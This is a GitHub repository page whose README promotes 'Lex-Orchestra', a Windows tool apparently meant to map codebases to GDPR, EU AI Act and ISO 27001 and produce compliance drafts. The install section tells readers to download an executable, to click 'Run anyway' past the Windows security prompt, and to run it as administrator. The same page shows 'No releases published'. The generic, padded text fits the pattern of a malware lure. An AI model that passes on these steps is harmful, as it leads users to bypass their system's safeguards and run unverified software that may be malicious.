Skip to content

binnieplentiful618/Lex-Orchestra

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 

Repository files navigation

🧩 Lex-Orchestra - Turn code into compliance docs

Download Lex-Orchestra

🚀 What Lex-Orchestra does

Lex-Orchestra helps you check your codebase against common compliance rules. It reads your project, maps it to GDPR, the EU AI Act, and ISO 27001, then builds pre-filled documents you can review and use.

It is made for people who need clear compliance output without digging through code by hand. Your source code stays inside your network.

💻 What you need

  • Windows 10 or Windows 11
  • A recent 64-bit Windows PC
  • Enough free disk space for the app and your project files
  • Access to the folder that holds your codebase
  • Permission to run downloaded apps on your computer

For best results, keep your project in a simple folder path such as:

  • C:\Projects\MyApp
  • D:\Work\Website

📥 Download and install

  1. Open the Lex-Orchestra releases page
  2. Find the latest release at the top of the page
  3. Download the Windows file from that release
  4. If the file is in a ZIP archive, right-click it and choose Extract All
  5. Open the extracted folder
  6. Double-click the Lex-Orchestra app file to start it

If Windows shows a security prompt:

  1. Click More info
  2. Click Run anyway

If you do not see the app file, look for a file with .exe at the end of the name

🧭 First-time setup

When you start Lex-Orchestra for the first time, it may ask you to:

  • Choose your codebase folder
  • Confirm where reports should be saved
  • Set a local workspace path
  • Connect to a local graph store if one is used in your setup

Use a folder you can find again later. A simple path helps.

If the app asks for a database or graph path, choose a folder on your computer or inside your network share. Keep it inside your local environment.

🔍 How to scan your codebase

  1. Open Lex-Orchestra
  2. Select your project folder
  3. Start the scan
  4. Wait while the app reads files and builds the context graph
  5. Review the detected systems, data paths, and policy matches

The scan helps the app understand:

  • Where personal data may appear
  • Which parts may touch regulated data
  • Which files may matter for GDPR checks
  • Which systems may need AI Act review
  • Which controls may relate to ISO 27001

If your project is large, the first scan can take longer

📄 Generate compliance documents

After the scan, Lex-Orchestra can build pre-filled documents for review.

You can use it to create output such as:

  • GDPR records
  • AI system review notes
  • ISO 27001 control checklists
  • Data flow notes
  • Risk and control summaries
  • Internal compliance drafts

Review each document before use. The app fills in fields based on what it finds in your codebase and related files.

🗂️ What the app looks at

Lex-Orchestra can map your project to common compliance areas such as:

  • Personal data handling
  • Consent and legal basis
  • Data retention
  • Access control
  • Logging and audit trails
  • System boundaries
  • AI use cases
  • Model and data flow notes
  • Security controls

It uses a knowledge graph and context graph approach to link files, services, and data paths. That helps it find related items across the codebase instead of reading files one by one in isolation

🔐 Data and privacy

Lex-Orchestra is built for local use. It is meant to keep your source code inside your network.

That means:

  • Your code does not need to leave your environment
  • You can keep scans on your own machine
  • You can store reports in your own folders
  • You can control what gets shared with others

This setup fits teams that need data sovereignty and local control

🧪 Common use cases

Lex-Orchestra can help if you need to:

  • Check a new project for GDPR issues
  • Prepare for an EU AI Act review
  • Build an ISO 27001 evidence pack
  • Review internal tools before launch
  • Map data flows across services
  • Keep a record of compliance checks
  • Turn code changes into draft documents

🛠️ If the app does not open

Try these steps:

  1. Make sure you downloaded the Windows file from the releases page
  2. Extract the ZIP file if there is one
  3. Right-click the app and choose Run as administrator
  4. Check that your Windows version is up to date
  5. Move the app to a simple folder like C:\Apps\Lex-Orchestra
  6. Start it again

If Windows blocks the app, check your security settings and confirm the file is allowed to run

📁 Keep your files organized

Use separate folders for each project:

  • One folder for code
  • One folder for reports
  • One folder for exports

A clear folder layout makes it easier to scan the same project again later and compare results over time

⚙️ Basic workflow

  1. Download Lex-Orchestra
  2. Start the app
  3. Pick your codebase folder
  4. Run a scan
  5. Review the mapped compliance items
  6. Generate the documents you need
  7. Save the output in your report folder
  8. Repeat after major code changes

🧩 What you may see in results

The app may show:

  • File and folder relationships
  • Data handling paths
  • Policy matches
  • Missing control areas
  • Draft document fields
  • Risk notes
  • Review points for legal and security teams

Use the results as a working draft. They help you move faster when you need a first pass on compliance work

📌 Helpful folder names

These names keep things simple:

  • Source
  • Reports
  • Exports
  • Reviews
  • Evidence

🔗 Download again

Visit the Lex-Orchestra releases page to download and run this file

🧭 Suggested next step

Open the latest release, download the Windows file, extract it if needed, and start your first scan with a small project folder

About

Scan codebases for compliance risks and generate legal review docs for regulated software, fully local or hybrid.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors